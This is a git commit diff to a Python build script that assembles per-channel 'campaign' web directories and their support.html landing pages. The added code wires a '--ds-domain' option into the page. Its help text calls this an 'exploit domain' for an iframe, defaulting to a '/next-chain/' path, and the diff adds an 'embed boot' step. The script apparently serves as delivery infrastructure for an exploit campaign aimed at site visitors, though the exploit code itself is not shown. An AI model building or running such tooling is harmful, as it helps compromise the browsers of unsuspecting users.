feat: old channel
This commit is contained in:
@@ -38,6 +38,11 @@ from _common import (
|
||||
|
||||
TOOLS = Path(__file__).resolve().parent
|
||||
BUILDER_ROOT = TOOLS.parent
|
||||
_EMBED_DIR = BUILDER_ROOT.parent / "channel-embed"
|
||||
if str(_EMBED_DIR) not in sys.path:
|
||||
sys.path.insert(0, str(_EMBED_DIR))
|
||||
from embed_boot import apply_embed_boot # noqa: E402
|
||||
|
||||
SUPPORT_TEMPLATES = ("test", "blank")
|
||||
DEFAULT_SUPPORT_TEMPLATE = "blank"
|
||||
SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support"
|
||||
@@ -66,51 +71,23 @@ def normalize_support_template(value: str | None) -> str:
|
||||
return template
|
||||
|
||||
|
||||
# Idempotency marker for inlined PV/UV beacon (blank support.html <head>).
|
||||
HIT_MARKER = "data-pv"
|
||||
HIT_JS_PATH = BUILDER_ROOT.parent / "public" / "t.js"
|
||||
|
||||
|
||||
def load_hit_js() -> str:
|
||||
if not HIT_JS_PATH.is_file():
|
||||
raise SystemExit(f"missing hit script: {HIT_JS_PATH}")
|
||||
return HIT_JS_PATH.read_text(encoding="utf-8").strip()
|
||||
|
||||
|
||||
def ensure_hit_beacon(support_html: Path) -> None:
|
||||
"""Inline PV/UV beacon into <head> (idempotent via data-pv)."""
|
||||
text = support_html.read_text(encoding="utf-8")
|
||||
if HIT_MARKER in text:
|
||||
return
|
||||
block = f'<script {HIT_MARKER}>\n{load_hit_js()}\n</script>\n'
|
||||
lower = text.lower()
|
||||
idx = lower.rfind("</head>")
|
||||
if idx >= 0:
|
||||
text = text[:idx] + block + text[idx:]
|
||||
else:
|
||||
# Fallback: prepend after <html...> or at start.
|
||||
html_idx = lower.find("<html")
|
||||
if html_idx >= 0:
|
||||
gt = text.find(">", html_idx)
|
||||
text = text[: gt + 1] + "\n<head>\n" + block + "</head>\n" + text[gt + 1 :]
|
||||
else:
|
||||
text = "<head>\n" + block + "</head>\n" + text
|
||||
support_html.write_text(text, encoding="utf-8")
|
||||
|
||||
|
||||
def apply_support_template(campaign_dir: Path, template: str) -> None:
|
||||
template = normalize_support_template(template)
|
||||
dest = campaign_dir / "support.html"
|
||||
if template == "test":
|
||||
if not dest.is_file():
|
||||
raise SystemExit(f"missing support.html after campaign copy: {dest}")
|
||||
return
|
||||
src = SUPPORT_TEMPLATE_ROOT / f"{template}.html"
|
||||
if not src.is_file():
|
||||
raise SystemExit(f"missing support template: {src}")
|
||||
shutil.copyfile(src, dest)
|
||||
if template == "blank":
|
||||
ensure_hit_beacon(dest)
|
||||
|
||||
|
||||
def apply_ds_domain(support_html: Path, ds_domain: str) -> None:
|
||||
"""Replace __DS_DOMAIN__ in the landing page (empty = same-origin /next-chain/)."""
|
||||
if not support_html.is_file():
|
||||
return
|
||||
text = support_html.read_text(encoding="utf-8")
|
||||
if "__DS_DOMAIN__" not in text:
|
||||
return
|
||||
support_html.write_text(text.replace("__DS_DOMAIN__", ds_domain), encoding="utf-8")
|
||||
|
||||
|
||||
def resolve_python() -> str:
|
||||
@@ -303,12 +280,20 @@ def main() -> int:
|
||||
type=Path,
|
||||
help="optional path to write the result JSON (also printed on stdout)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--ds-domain",
|
||||
default="",
|
||||
help="DS exploit domain for support.html iframe (e.g. https://ds.example.com). "
|
||||
"Empty = relative /next-chain/ (default)",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
src_campaign = SOURCE_ROOT / "web"
|
||||
src_sync = SOURCE_ROOT / "sync"
|
||||
if not src_campaign.is_dir() or not (src_campaign / "support.html").is_file():
|
||||
raise SystemExit(f"missing source web template: {src_campaign}")
|
||||
if not (src_campaign / "index.js").is_file():
|
||||
raise SystemExit(f"missing source web/index.js: {src_campaign}")
|
||||
if not src_sync.is_dir():
|
||||
raise SystemExit(f"missing source sync: {src_sync}")
|
||||
|
||||
@@ -382,7 +367,10 @@ def main() -> int:
|
||||
print("=== build web/%s ===" % channel)
|
||||
web_dir.parent.mkdir(parents=True, exist_ok=True)
|
||||
shutil.copytree(src_campaign, web_dir, symlinks=False, ignore=_ignore_junk)
|
||||
if not (web_dir / "index.js").is_file():
|
||||
raise SystemExit(f"missing index.js after campaign copy: {web_dir}")
|
||||
apply_support_template(web_dir, support_template)
|
||||
apply_ds_domain(web_dir / "support.html", (args.ds_domain or "").rstrip("/"))
|
||||
run(
|
||||
[
|
||||
py,
|
||||
@@ -401,6 +389,11 @@ def main() -> int:
|
||||
"--apply",
|
||||
]
|
||||
)
|
||||
apply_embed_boot(
|
||||
web_dir,
|
||||
channel_code=channel,
|
||||
ds_domain=(args.ds_domain or "").rstrip("/"),
|
||||
)
|
||||
except BaseException:
|
||||
if web_dir.exists() and not sync_rebuilt:
|
||||
# leave shared sync; remove failed channel web
|
||||
@@ -421,6 +414,7 @@ def main() -> int:
|
||||
"seeds_initialized": seeds_initialized,
|
||||
"sync_rebuilt": sync_rebuilt,
|
||||
"support_path": f"/web/{channel}/support.html",
|
||||
"ds_domain": (args.ds_domain or "").rstrip("/"),
|
||||
"daily_path": "/sync/daily.html",
|
||||
"artifact_root": str(artifact_root),
|
||||
"state_root": str(state_root),
|
||||
|
||||
Reference in New Issue
Block a user